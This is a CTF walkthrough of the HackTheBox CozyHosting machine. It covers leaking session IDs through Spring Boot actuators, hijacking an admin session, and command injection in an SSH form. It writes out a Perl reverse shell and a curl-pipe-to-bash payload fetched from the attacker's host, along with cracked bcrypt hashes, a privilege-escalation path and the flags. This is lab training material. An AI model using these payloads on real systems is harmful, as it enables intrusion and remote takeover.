HackTheBox | CozyHosting

In this walkthrough, I demonstrate how I obtained complete ownership of CozyHosting on HackTheBox
HackTheBox | CozyHosting
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Tue Feb  6 00:16:46 2024 as: nmap -Pn -p- --min-rate 5000 -A -oN nmap.txt 10.10.11.230
Nmap scan report for 10.10.11.230
Host is up (0.014s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp    open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
14223/tcp filtered unknown
15322/tcp filtered unknown
18052/tcp filtered unknown
40072/tcp filtered unknown
43923/tcp filtered unknown
47704/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/6%OT=22%CT=1%CU=35620%PV=Y%DS=2%DC=T%G=Y%TM=65C1C
OS:0E8%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 19616/tcp)
HOP RTT      ADDRESS
1   14.12 ms 10.10.14.1
2   14.16 ms 10.10.11.230

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb  6 00:17:28 2024 -- 1 IP address (1 host up) scanned in 42.27 seconds

Note the http://cozyhosting.htb domain in the nmap output. Let's go ahead and add that to our /etc/hosts file.

echo '10.10.11.230        cozyhosting.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Gobuster Enumeration

gobuster dir -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-80.txt -t 100 -b 302 -b 404
/admin                (Status: 401) [Size: 97]
/error                (Status: 500) [Size: 73]
/index                (Status: 200) [Size: 12706]
/login                (Status: 200) [Size: 4431]
/logout               (Status: 204) [Size: 0]



Fingerprinting the Application

I wasn't seeing much in terms of other virtual hosts or subdomains or interesting directories and files. At least not to the extent that I could gain any meaningful insight into the application. But as I poked around the web application, this error page seemed odd.

So, I turned to Google and searched for this error message, which seemed to suggest that this web page was running on top of Spring Boot.

This application has no explicit mapping for /error, so you are seeing this as a fallback - Google Search

From there, I ran yet another Google search trying to understand how Spring Boot might be exploitable. And of course, there is a HackTricks page on the topic.

spring boot exploit - Google Search
Spring Actuators - HackTricks
Nice! Now, we're getting somewhere.



Automating Actuator Testing

I found that the spring-boot.txt GitHub link on the HackTricks page is a link to SecLists, which I have installed on my Kali host. So I came up with a zsh one-liner, to loop over the Spring Boot actuators list and see which one's produce any output.

for item in $(cat /usr/share/seclists/Discovery/Web-Content/spring-boot.txt) ; do \
url="http://cozyhosting.htb/$item"; \
output=$(curl -s $url 2>/dev/null | grep -v '"status":404') ; \
if [ "$output" ] ; \
then echo -e "$url\n" && echo -e "$(echo $output | json_pp)\n" ; \
fi ; \
done > actuators.txt
This actuator leaks Spring Boot logged in users and session IDs
Example session ID in my web browser



Session Hijacking

We are going to hijack the current session of the kanderson user. To do this, we'll get the current JSESSIONID token value from the Spring Boot actuator and paste that into our cookie in our browser.

curl http://cozyhosting.htb/actuator/sessions | json_pp | grep -v UNAUTHORIZED

Now, overwrite your cookie in your browser's developer tools:

  1. Click CTRL + SHIFT + i or F12 on your keyboard
  2. Click on the Application tab
  3. Double click the Value column of the JSESSIONID row
  4. Overwrite the contents of existing cookie with kanderson's session ID
  5. Then, navigate to http://cozyhosting.htb/admin



Continued Enumeration

There is a form in the admin panel that is supposed to enable automatic patching of hosts, provided that you pass a hostname and username. In the screenshot below, I tried localhost and kanderson respectively.

And, here is that request in Burp. We can see that when we click the Submit button, this passes a HTTP POST request to the /executessh Spring Boot actuator (which is something I noticed earlier in actuators.txt).

/executessh in actuators.txt

There are ssh options you can pass on the command line, which would be useful in this case to disable host key checking. First, if we try this payload, we'll receive an error.

Passing the option like -o"StrictHostChecking=no" is also valid syntax, so let's try that.

Interesting! We get a different error this time, so we should continue to try and build off this payload. I've been proxying these requests through, Burp so now would be a good time to pass this to Repeater.

Request #865 for me



Looking for Command Injection

With the request highlighted, press CTRL + R in Burp to send the request to Repeater. The first thing I try is appending a %0a to the end of the username payload. This injects a new line.

We can see in the Location header in the response, the Usage output for the ssh command; a very interesting finding. We get the same error if we simply specify username=%0a, which again introduces a line feed. We can see there's a line 2: @localhost: command not found error as well.

I finally found a way to get command injection! However, the output is minimal, so I need to refine the payload to see how I can possibly get more output. The trick in this case was to wrap the command to be run in a sub-shell, $(id).

💡
I also figured out that I can silence the ssh usage: blurb by injecting 2>/dev/null before the %0a.
uid=1001(app)



Improving the Command Injection

💡
We know that whitespace is not allowed in the username field. I tried %20, +, and double-encoding characters, but could not get commands with whitespace to run. So, I turned to Google with yet another question.
how can i include a space in command injection where %20 and + are not allowed - Google Search
How to send a command with arguments without spaces?
Is there a way to execute a command with arguments in linux without whitespaces? cat file.txt needs to be: cat(somereplacementforthiswhitespace)file.txt

Using the answer on Stack Exchange, we can now run commands with spaces. As pictured below, the payload of username=2>/dev/null%0a$(cat${IFS%25??}/etc/passwd allows us to run cat /etc/passwd.

Looking for a way we can get a reverse shell on the host, we can enumerate which binaries are installed on the box with the which command. As seen below which perl resolves, as it's installed and in the user's $PATH.





Exploit

The Spring Boot's sensitive actuators are world readable, which allows attackers to discover a session token for a logged in user. With this session token, an attacker can now act as an authenticated user to the application and make HTTP POST requests to a Spring Boot actuator that allows command execution over SSH.

Reverse Shell Cheat Sheet | pentestmonkey

Create the Reverse Shell Payload

nano sh.pl
perl -e 'use Socket;$i="10.10.14.15";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
  • Update the IP address and point it at your Kali VPN IP
  • Update the TCP port that you plan to use for your listener
  • I also changed /bin/sh to /bin/bash

Host and Run the Payload

Start the listener and host the sh.pl file over HTTP

sudo rlwrap nc -lnvp 443
sudo python3 -m http.server

Now, paste the command to run on the target server using command injection

💡
We can use the Repeater tab in Burp or this one-liner I wrote
curl -X POST http://cozyhosting.htb/executessh \
-H "Cookie: JSESSIONID=$(curl -s http://cozyhosting.htb/actuator/sessions | json_pp | grep kanderson | head -n 1 | cut -d ':' -f 1 | sed -E -e 's/\s{1,}//' -e 's/"//g')" \
-d 'host=localhost&username=2>/dev/null%0a$(curl${IFS%25??}http://10.10.14.15/sh.pl|bash${IFS%25??}-)'

Inject the 'JSESSIONID' cookie using a 'curl' sub-command

Let me break down what this one-liner is doing:

  • curl -X POST http://cozyhosting.htb/executessh makes a HTTP POST request to the specified URL
  • -H "Cookie: JSESSIONID=$(curl -s http://cozyhosting.htb/actuator/sessions | json_pp | grep kanderson | head -n 1 | cut -d ':' -f 1 | sed -E -e 's/\s{1,}//' -e 's/"//g')"
    • Recall how earlier in the Session Hijacking step, we used curl and json_pp to find the session ID for the kanderson user
    • All we're doing is repeating this, then piping the output to a series of commands to inject this session ID into the Cookie header
  • -d 'host=localhost&username=2>/dev/null%0a$(curl${IFS%25??}http://10.10.14.15/sh.pl|bash${IFS%25??}-)'
    • This is the actual HTTP POST data being sent to the URL
    • Note the actual payload after username=2>/dev/null%0A that we found in the Burp Repeater testing
    • The payload itself is causing the target to curl http://kali-vpn-ip/sh.pl and then pipe that to bash to execute the perl script, where the perl script is the reverse shell connecting back to the nc socket
python3 -c "import pty; pty.spawn('/bin/bash')"

Upgrade your reverse shell to a TTY





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux cozyhosting 5.15.0-82-generic #91-Ubuntu SMP Mon Aug 14 14:14:14 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy    

Current User

uid=1001(app) gid=1001(app) groups=1001(app)   



Users and Groups

Local Users

app:x:1001:1001::/home/app:/bin/sh
josh:x:1003:1003::/home/josh:/usr/bin/bash    

Local Groups

app:x:1001:
josh:x:1003:   



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:26:8f brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.230/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:268f/64 scope global dynamic mngtmpaddr 
       valid_lft 86396sec preferred_lft 14396sec
    inet6 fe80::250:56ff:feb9:268f/64 scope link 
       valid_lft forever preferred_lft forever   

Open Ports

    

ARP Table

tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      1065/java    



Processes and Services

Interesting Services

  cozyhosting.service         loaded active running Cozy Hosting Web Page





Interesting Files

/app/cloudhosting-0.0.1.jar

cloudhosting-0.0.1.jar: Java archive data (JAR)    





Privilege Escalation

Decompile the JAR file

python3 -m http.server 58080 &

Start Python HTTP server on a high port on the target

wget http://cozyhosting.htb:58080/cloudhosting-0.0.1.jar

Download the file to Kali

kill $(netstat -plutan | grep 58080 | awk -v FS=' ' '{print $7}' | cut -d '/' -f 1)

Kill the Python3 web server

sudo apt install -y jd-gui jadx
jd-gui cloudhosting-0.0.1.jar
application.properties contains some sensitive data



Connect to the PostgreSQL Database

We use the -d cozyhosting argument to specify the target database as noted in the connection string in the .jar file, jdbc:postgresql://localhost:5432/cozyhosting.

In psql, the \dt command will list the available tables in the database. You can press the q key and then the Enter (or Return) key return to the prompt.

Then, the rest is standard SQL syntax, SELECT * FROM users;.



Lateral to Josh

kanderson:$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm

Copy the hashes from the database into a file

john --wordlist=rockyou.txt hash

The admin hash cracked right away, but the password for kanderson seems like it might not be in the rockyou.txt list. Also, when I was looking at the /etc/passwd list, there are no admin nor kanderson to be found, so they wouldn't authenticate against PAM anyway.

To my surprise, I tried su josh and provided the admin password to see if there is any password re-use and it worked! Always take a chance on the obvious.

And, this user does not have ssh password authentication disabled.



Escalate to Root

ssh | GTFOBins



Flags

User

90f99d3077594ee8aa6f9f5bcd8cad20    

Root

7ddf72f9aa602bb7c96f0d9b6b10a09e    
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.